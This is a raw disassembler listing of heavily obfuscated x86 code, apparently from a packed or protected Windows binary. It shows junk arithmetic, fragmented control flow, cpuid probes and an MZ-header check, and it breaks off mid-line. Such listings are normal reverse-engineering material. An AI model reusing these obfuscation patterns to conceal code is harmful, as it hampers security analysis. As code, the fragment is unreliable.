wto1jq8f:00428961j ; wto1jq8f:00429F05p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg edi, [esp-4+arg_0] retn sub_428755 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42875D: ; DATA XREF: sub_429A99+13o push 0FDAB31A1h pop edx push offset loc_42A812 jmp loc_42A70D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_42876D: ; CODE XREF: sub_42D9D9:loc_42D40Dj sub edi, edx add edx, 0C20D7184h jmp loc_42AC95 ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ja loc_428D0B jmp loc_426588 ; --------------------------------------------------------------------------- loc_428785: ; CODE XREF: wto1jq8f:loc_42A4C7j push 0 push ebx push 6E420192h pop ebx xor ebx, 0B3B8850Ch add ebx, 0C4B0B668h xor ebx, 0A2AB3B06h jmp loc_424C95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED32 loc_4287A5: ; CODE XREF: sub_42ED32:loc_42D7C9j jl loc_42C628 jmp loc_4274D6 ; END OF FUNCTION CHUNK FOR sub_42ED32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42821F loc_4287B0: ; CODE XREF: sub_42821F:loc_42E44Fj xchg ecx, [esp-8+arg_4] push 3 push 80000000h mov eax, [ebp-8] call sub_429BFF loc_4287C2: ; CODE XREF: sub_426437:loc_42643Cj add eax, 8BEF4423h xchg eax, [esp+0] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42821F ; =============== S U B R O U T I N E ======================================= sub_4287D0 proc near ; CODE XREF: wto1jq8f:0042BC4Fj ; sub_42C547p ; FUNCTION CHUNK AT 00424469 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi jns sub_42704E loc_4287DA: ; CODE XREF: sub_42C43B-7FDEj push ebp push offset loc_42987C jmp loc_424469 sub_4287D0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_4287E6: ; CODE XREF: sub_4284EC+620Aj jmp loc_42A18C ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_4287EB: ; CODE XREF: sub_42CBD1:loc_427D1Cj pop ebx and ebx, 24F0E767h add ebx, 0FB52527Ah call sub_427A53 ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; START OF FUNCTION CHUNK FOR sub_4282FE loc_4287FD: ; CODE XREF: sub_4282FE+Dj jmp loc_42D520 ; END OF FUNCTION CHUNK FOR sub_4282FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_428802: ; CODE XREF: sub_42E9E8-7FBFj jmp loc_425EC7 ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_428807: ; CODE XREF: sub_42C486:loc_427981j cmp eax, ebx jmp loc_42AD95 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DBA6 loc_42880E: ; CODE XREF: sub_42DBA6:loc_428F96j add edi, 9C74502Ah and edi, 8F60EB02h add edi, 1167C615h add edi, ecx add edi, 6C5791A3h mov [edi], eax pop edi push offset loc_4275BC jmp loc_42F4E3 ; END OF FUNCTION CHUNK FOR sub_42DBA6 ; --------------------------------------------------------------------------- push 138A57E4h jmp loc_4282BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_428840: ; CODE XREF: sub_424585+35ADj jmp loc_4262E3 ; END OF FUNCTION CHUNK FOR sub_424585 ; =============== S U B R O U T I N E ======================================= sub_428845 proc near ; DATA XREF: sub_42E115+10o ; FUNCTION CHUNK AT 0042A03C SIZE 00000005 BYTES pop ecx pop ebp jmp loc_42A03C sub_428845 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42884C: ; CODE XREF: sub_42DC5C+8j call sub_42E785 loc_428851: ; CODE XREF: sub_4266EF+57E9j jz loc_42F5A8 jmp loc_424D6E ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_42885C proc near ; CODE XREF: sub_42992F:loc_429955j ; sub_42BC9B+Ep ; FUNCTION CHUNK AT 0042BD2C SIZE 00000005 BYTES mov eax, ds:dword_42F1CC push offset loc_42666E jmp loc_42BD2C sub_42885C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F119 loc_42886C: ; CODE XREF: sub_42F119+Cj or eax, eax jnz loc_42AE2C push offset loc_42AE21 jmp nullsub_164 ; END OF FUNCTION CHUNK FOR sub_42F119 ; --------------------------------------------------------------------------- mov eax, [ebp-30h] mov [ebp-4], eax mov eax, [ebp-4] cmp word ptr [eax], 5A4Dh jnz loc_42F5A8 jmp loc_42CE1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276C3 loc_428897: ; CODE XREF: sub_4276C3+1F3j call sub_42C75F mov eax, [ebp-80Ch] push eax push 0AFFFF7C5h jmp loc_42E2F5 ; END OF FUNCTION CHUNK FOR sub_4276C3 ; --------------------------------------------------------------------------- loc_4288AD: ; CODE XREF: wto1jq8f:0042EFE3j js sub_429017 rol ebx, 4 ; START OF FUNCTION CHUNK FOR sub_4260DB loc_4288B6: ; CODE XREF: sub_4260DB:loc_4284C9j add eax, 87D8591Fh call sub_42AFCD loc_4288C1: ; CODE XREF: sub_42F23A-2E5Aj xor ecx, ecx push offset sub_42C379 jmp nullsub_92 ; END OF FUNCTION CHUNK FOR sub_4260DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_4288CD: ; CODE XREF: sub_42A197:loc_42AA89j jnz loc_42EFBE loc_4288D3: ; CODE XREF: sub_42628C+6EC4j jmp loc_42DE54 ; END OF FUNCTION CHUNK FOR sub_42A197 ; --------------------------------------------------------------------------- cdq jmp loc_42E95F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_4288DE: ; CODE XREF: sub_42C486:loc_424A00j add edi, 0E171403Bh sub eax, 6FCF7C9Dh mov edx, esi jge loc_427D03 jmp loc_427D37 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_4288F7: ; CODE XREF: sub_429471:loc_42A037j ja loc_42827F xchg edx, [edi] jmp loc_42C364 ; END OF FUNCTION CHUNK FOR sub_429471 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_428905: ; CODE XREF: sub_42A6CD-243Dj mov edi, [edx] loc_428907: ; CODE XREF: wto1jq8f:00429145j jnb nullsub_17 jmp loc_4281D5 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4295AA loc_428913: ; CODE XREF: sub_4295AA+Aj jmp nullsub_30 ; END OF FUNCTION CHUNK FOR sub_4295AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_428918: ; CODE XREF: sub_429BFF:loc_42C8BCj jnz loc_426DAC jmp loc_42BEC0 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- adc eax, 598DC676h jmp sub_42D8F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C71 loc_42892E: ; CODE XREF: sub_428C71:loc_42F3C0j call sub_42E04D ; END OF FUNCTION CHUNK FOR sub_428C71 ; START OF FUNCTION CHUNK FOR sub_42609A loc_428933: ; CODE XREF: sub_42609A+Aj jmp loc_42E863 ; END OF FUNCTION CHUNK FOR sub_42609A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_428938: ; CODE XREF: sub_426E98-346j mov ecx, [ebp+0] xor ebp, ecx loc_42893D: ; CODE XREF: sub_426E98:loc_426B46j and edx, 0F5FE6BB5h loc_428943: ; CODE XREF: wto1jq8f:loc_42DE81j add edx, 2E848C30h xchg edx, [esp+0Ch+var_C] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- loc_428951: ; CODE XREF: wto1jq8f:loc_429436j or eax, eax jnz loc_42A298 jmp loc_42638D ; --------------------------------------------------------------------------- adc eax, ebx popf jmp sub_428755 ; --------------------------------------------------------------------------- push eax call sub_424B70 ; START OF FUNCTION CHUNK FOR sub_42506F loc_42896C: ; CODE XREF: sub_42506F+2149j mov eax, [ebp-80Ch] push eax push edi jmp loc_42BFA5 ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_428979: ; CODE XREF: sub_4244EA+4E74j and al, 0F6h cmp al, 0C2h jz loc_427CC2 mov eax, [ebp-4] mov ax, [eax] jmp loc_42B38E ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42898E: ; CODE XREF: sub_42F6A9:loc_42DD69j and esi, 0AB2D6251h xor esi, 22086205h call sub_42C4CF loc_42899F: ; CODE XREF: sub_42FBC7-7FB6j jmp nullsub_174 ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- and edi, ebp jmp sub_42F614 ; --------------------------------------------------------------------------- loc_4289AB: ; CODE XREF: wto1jq8f:loc_424364j mov eax, [eax] or eax, eax jnz loc_42B96B jmp loc_4281D8 ; --------------------------------------------------------------------------- loc_4289BA: ; CODE XREF: wto1jq8f:0042864Cj jg loc_42A9A1 xchg esi, ebp jmp loc_4279CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9D9 loc_4289C7: ; CODE XREF: sub_42D9D9:loc_42C652j pop edi and edi, 1B88D8ACh add edi, 0E4C29818h mov [edi], eax pop edi jmp loc_424A5E ; END OF FUNCTION CHUNK FOR sub_42D9D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAC3 loc_4289DC: ; CODE XREF: sub_42AAC3-161Ej add edi, 0FAC5C6F0h cmp ecx, 830310C2h jmp loc_42EC23 ; END OF FUNCTION CHUNK FOR sub_42AAC3 ; --------------------------------------------------------------------------- not edi jmp sub_42DDE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_4289F4: ; CODE XREF: sub_426E98+7DB4j xor ecx, 3DDD25BAh and ecx, 0F4434B71h add ecx, 903FEF6Ch xchg ecx, [esp+0Ch+var_C] jmp sub_427A8D ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_428A0E: ; CODE XREF: sub_42EDB9-5F08j ; wto1jq8f:loc_4296D1j test ebp, 28B5CDE9h jmp loc_42B196 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; =============== S U B R O U T I N E ======================================= sub_428A19 proc near ; CODE XREF: sub_42F2C7-9313p var_20 = dword ptr -20h var_10 = dword ptr -10h ; FUNCTION CHUNK AT 004245A9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00424DD4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00427E7A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042A0BD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C15D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C163 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C2FC SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042CAE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EFFC SIZE 00000005 BYTES mov [esp+0], eax push 0 push 10h call sub_427D82 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 0 jz loc_4245A9 lea eax, [ebp-24h] loc_428A35: ; CODE XREF: sub_428FFC+9j jmp loc_42C15D sub_428A19 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_428A3A: ; CODE XREF: sub_4293FF:loc_42EC5Ej cmp ecx, ebx jmp loc_42C988 ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BD3 loc_428A41: ; CODE XREF: sub_429BD3+1DE7j jge loc_429753 or esi, ecx jmp loc_42D7F7 ; END OF FUNCTION CHUNK FOR sub_429BD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFB5 loc_428A4E: ; CODE XREF: sub_42EFB5:loc_425D85j ; sub_42EDB8j ; DATA XREF: ... push eax push offset sub_42B4FD jmp nullsub_160 ; END OF FUNCTION CHUNK FOR sub_42EFB5 ; --------------------------------------------------------------------------- loc_428A59: ; CODE XREF: wto1jq8f:loc_42963Dj xor edx, edx cpuid push offset sub_42CB49 jmp loc_42C5B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_428A67: ; CODE XREF: sub_42E0FD:loc_42EEA9j mov ebp, edx pop edx mov eax, ds:dword_42F0C0 or eax, eax jnz loc_429617 jmp loc_427F61 ; END OF FUNCTION CHUNK FOR sub_42E0FD ; =============== S U B R O U T I N E ======================================= sub_428A7D proc near ; DATA XREF: sub_42CF89-884Bo xchg edi, [esp+0] jmp sub_429165 sub_428A7D endp ; --------------------------------------------------------------------------- call sub_424B47 ; START OF FUNCTION CHUNK FOR sub_42C031 loc_428A8A: ; CODE XREF: sub_42C031-3278j jmp loc_42CB1A ; END OF FUNCTION CHUNK FOR sub_42C031 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_428A8F: ; CODE XREF: sub_42E9E8-A1DBj xor ecx, eax mov eax, offset loc_428AA4 xchg eax, [esp-8+arg_4] retn ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D1A8 loc_428A9A: ; CODE XREF: sub_42D1A8+11j jmp loc_42C657 ; END OF FUNCTION CHUNK FOR sub_42D1A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42669E loc_428A9F: ; CODE XREF: sub_42669E+Ej jmp loc_42E88E ; END OF FUNCTION CHUNK FOR sub_42669E ; --------------------------------------------------------------------------- loc_428AA4: ; DATA XREF: sub_42E9E8-5F57o sub eax, ebx cmp ecx, 641D3431h jmp loc_42CEE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_428AB1: ; CODE XREF: sub_429B76:loc_424C63j add eax, 0F4CF0A9h add eax, ebp add eax, 0F0D7D344h mov eax, [eax] jmp loc_42A0AC ; END OF FUNCTION CHUNK FOR sub_429B76 ; =============== S U B R O U T I N E ======================================= sub_428AC6 proc near ; CODE XREF: sub_42606D-1C1Dp ; wto1jq8f:0042A404j ; FUNCTION CHUNK AT 00426941 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276F6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427EC2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00428F9B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042A2D1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042A773 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042BD4F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BFFA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042CF9E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042DE02 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E239 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0042EC1B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042F088 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F5D7 SIZE 0000000E BYTES xchg ecx, [esp+0] pop ecx movzx eax, word ptr [eax+6] push edx push 574869A0h jmp loc_42BD4F sub_428AC6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jo loc_42BCFD jmp sub_42E076 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428AE5 proc near ; DATA XREF: wto1jq8f:0042E93Fo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424929 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425C23 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004271DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F5FB SIZE 00000011 BYTES call sub_429165 call sub_424585 push 0E6E517EDh pop edx jmp loc_4271DC sub_428AE5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B5E4 loc_428AFA: ; CODE XREF: sub_42B5E4+7j cmp eax, 7C61090Eh retn ; END OF FUNCTION CHUNK FOR sub_42B5E4 ; --------------------------------------------------------------------------- loc_428B00: ; CODE XREF: wto1jq8f:0042E70Cj jmp loc_429BB5 ; =============== S U B R O U T I N E ======================================= sub_428B05 proc near ; CODE XREF: sub_426E98+720Bp ; sub_425E35+90B7p ; FUNCTION CHUNK AT 00427EF6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00429A43 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429A4F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042B8D9 SIZE 00000005 BYTES xor bx, bx add ebx, 10000h jmp loc_427EF6 sub_428B05 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_428B13: ; CODE XREF: sub_426E98+111j sub edx, ebx jmp loc_42B9BF ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_428B1A: ; CODE XREF: sub_42A88D:loc_427421j xchg edx, [ecx] jmp loc_42B2D8 ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_428B21: ; CODE XREF: sub_42ADC7:loc_42DB15j jmp loc_42E9EB ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_428B27: ; CODE XREF: sub_4259FF:loc_42435Ej ; sub_42E3FD-9C8Ej ... jnz loc_428E41 call sub_42CB36 test al, al jmp loc_428E35 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_428B39: ; CODE XREF: sub_42970D+652Fj push eax retn ; END OF FUNCTION CHUNK FOR sub_42970D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428B3B proc near ; CODE XREF: sub_428F61+Dp ; wto1jq8f:0042A818p ... push ebp mov ebp, esp sub_428B3B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428B3E proc near ; CODE XREF: sub_426535+3C3Ej ; FUNCTION CHUNK AT 0042797C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C333 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042D4C1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042D850 SIZE 00000005 BYTES add esp, 0FFFFFFF8h push ebx jmp loc_42D4C1 sub_428B3E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_428B47: ; CODE XREF: sub_42727F+6j ; sub_42970D+2C3Ej and ecx, 526781D7h cmp ecx, 4919DB5Fh jmp loc_427499 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- ror ebp, 0Fh and ecx, 0CEE0669Ah jmp sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426AD4 loc_428B66: ; CODE XREF: sub_426AD4:loc_42D784j shl eax, cl call sub_427D00 ; END OF FUNCTION CHUNK FOR sub_426AD4 ; START OF FUNCTION CHUNK FOR sub_428BA9 loc_428B6D: ; CODE XREF: sub_428BA9:loc_42BF2Bj and al, 7 push offset loc_42CE27 ; END OF FUNCTION CHUNK FOR sub_428BA9 ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_428B74: ; CODE XREF: sub_4266B1+288Fj jmp loc_42C0CD ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_428B79: ; CODE XREF: sub_42AA68:loc_42BE9Ej mov [ebx], al pop ebx jmp loc_427FD3 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_428B81: ; CODE XREF: sub_4283CC:loc_42A77Fj lea eax, [ebp-0Ch] push eax call sub_42FB2F jmp loc_42F8EB ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_428B8F: ; CODE XREF: sub_424BF9:loc_428BDAj push eax push offset loc_426EE2 jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_424BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_428B9A: ; CODE XREF: sub_426968:loc_4275F0j test al, al jz loc_42E1F6 jmp loc_426B0A ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- loc_428BA7: ; CODE XREF: wto1jq8f:0042E8CBj xchg esi, [ebx] ; =============== S U B R O U T I N E ======================================= sub_428BA9 proc near ; CODE XREF: sub_42D434:loc_428454p ; FUNCTION CHUNK AT 00426E01 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428B6D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042BF2B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D589 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042F001 SIZE 00000010 BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-4] cmp byte ptr [eax], 0 jnz loc_42F001 mov eax, [ebp-8] mov byte ptr [eax], 0 jmp loc_426E01 sub_428BA9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428BC4 proc near ; DATA XREF: sub_4262CE:loc_429363o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427DD9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D4DA SIZE 00000023 BYTES push edx push 92249BC1h pop edx add edx, 6E1E299Bh xchg edx, [esp+0] jmp loc_42D4DA sub_428BC4 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_428BDA: ; CODE XREF: sub_424BF9+825Fj jmp loc_428B8F ; END OF FUNCTION CHUNK FOR sub_424BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_428BDF: ; CODE XREF: sub_426313+1356j ; sub_42506F:loc_42A843j ror eax, 17h push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_428BE9: ; CODE XREF: sub_42E9E8-7FC5j ; sub_42E9E8+Dj push 0A8A4EBCh pop eax jmp loc_4277FF ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= sub_428BF4 proc near ; CODE XREF: wto1jq8f:00425DAFj ; sub_42689A+1434p mov [esp+0], ebx pop ebx mov eax, [ebp-0Ch] mov ecx, 3FBh jmp loc_428D57 sub_428BF4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx jmp loc_427192 ; =============== S U B R O U T I N E ======================================= sub_428C0C proc near ; CODE XREF: sub_42604C:loc_42C10Fp ; wto1jq8f:0042E4FDj ; FUNCTION CHUNK AT 00424DE7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424EDF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004259DD SIZE 00000014 BYTES mov [esp+0], eax pop eax mov eax, [ebp-8] shr eax, 0Bh jmp loc_424DE7 sub_428C0C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_428C1B: ; CODE XREF: sub_426968:loc_4264A3j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_42DFB1 mov eax, [ebp-8] jmp loc_424ED3 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- jmp loc_426DE0 ; --------------------------------------------------------------------------- mov eax, [ebp-4] push eax push ebx push 0A2218AE4h pop ebx xor ebx, 8890D18Ah jmp loc_42B1CD ; --------------------------------------------------------------------------- call sub_424309 ; START OF FUNCTION CHUNK FOR sub_42E541 loc_428C4F: ; CODE XREF: sub_42E541+9E8j mov [edx-18h], eax inc dword ptr [ebp-4] jmp loc_42B131 ; --------------------------------------------------------------------------- loc_428C5A: ; CODE XREF: sub_42E541:loc_42A585j cmp dword ptr [ebp-14h], 4 push offset loc_429937 jmp loc_42E0E1 ; END OF FUNCTION CHUNK FOR sub_42E541 ; =============== S U B R O U T I N E ======================================= sub_428C68 proc near ; DATA XREF: wto1jq8f:0042E2B3o pop ebp xor eax, eax retn sub_428C68 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_428C6C: ; CODE XREF: sub_42A3DA+Cj jmp loc_424A8B ; END OF FUNCTION CHUNK FOR sub_42A3DA ; =============== S U B R O U T I N E ======================================= sub_428C71 proc near ; CODE XREF: sub_42ED01:loc_4267DCj ; sub_424DA0:loc_42C8C6j ... ; FUNCTION CHUNK AT 0042892E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B6A8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042CD5C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042F3C0 SIZE 00000005 BYTES jnz sub_42E5FA push ebp mov ebp, esp push ecx mov esp, ebp loc_428C7D: ; CODE XREF: sub_429D2E:loc_426247j ; wto1jq8f:loc_42FA61j jmp loc_42CD5C sub_428C71 endp ; --------------------------------------------------------------------------- loc_428C82: ; DATA XREF: sub_4285AF+9o mov byte ptr [eax], 0C3h mov [ebp-4], eax push 1Ch lea eax, [ebp-34h] push eax push 1F471F99h pop eax and eax, 0BB1FC7B6h jmp loc_424C72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF9A loc_428C9F: ; CODE XREF: sub_42FF9A:loc_424C68j or eax, edx push offset sub_427DA7 jmp loc_42D317 ; END OF FUNCTION CHUNK FOR sub_42FF9A ; --------------------------------------------------------------------------- loc_428CAB: ; DATA XREF: sub_425DF0+1A64o mov ebx, [eax+4] mov eax, [eax] jnz loc_425DF7 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_428CB7: ; CODE XREF: sub_42A6CD+2FBFj popf loc_428CB8: ; CODE XREF: sub_42A6CD:loc_42D684j add edx, 4F960EA8h xchg edx, [esp+0] jmp sub_42C0D7 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- loc_428CC6: ; CODE XREF: wto1jq8f:0042F39Cj not edx popf not eax jmp loc_428F56 ; --------------------------------------------------------------------------- loc_428CD0: ; DATA XREF: wto1jq8f:0042DDC2o mov eax, 80000003h xor ebx, ebx xor ecx, ecx xor edx, edx cpuid add [esi], eax jmp loc_429FBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C43B loc_428CE4: ; CODE XREF: sub_42C43B-7FD8j push 0AE124FB9h ; END OF FUNCTION CHUNK FOR sub_42C43B ; =============== S U B R O U T I N E ======================================= sub_428CE9 proc near ; CODE XREF: sub_42F50F:loc_424AECp ; FUNCTION CHUNK AT 0042C29A SIZE 0000000B BYTES mov [esp+0], esi pop esi mov ds:dword_42A73C, eax call sub_42ED32 mov edx, 90F68180h jmp loc_42C29A sub_428CE9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428D01 proc near ; DATA XREF: sub_42C547+CDCo xchg ecx, [esp+0] retn sub_428D01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3EB loc_428D05: ; CODE XREF: sub_42A3EB-487Dj jmp loc_424A82 ; END OF FUNCTION CHUNK FOR sub_42A3EB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_428D0B: ; CODE XREF: sub_42AECE-4789j ; sub_42A467-313Dj ... ror eax, 3 push edx ror edx, 8 jmp loc_42DFD0 ; END OF FUNCTION CHUNK FOR sub_42AECE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF 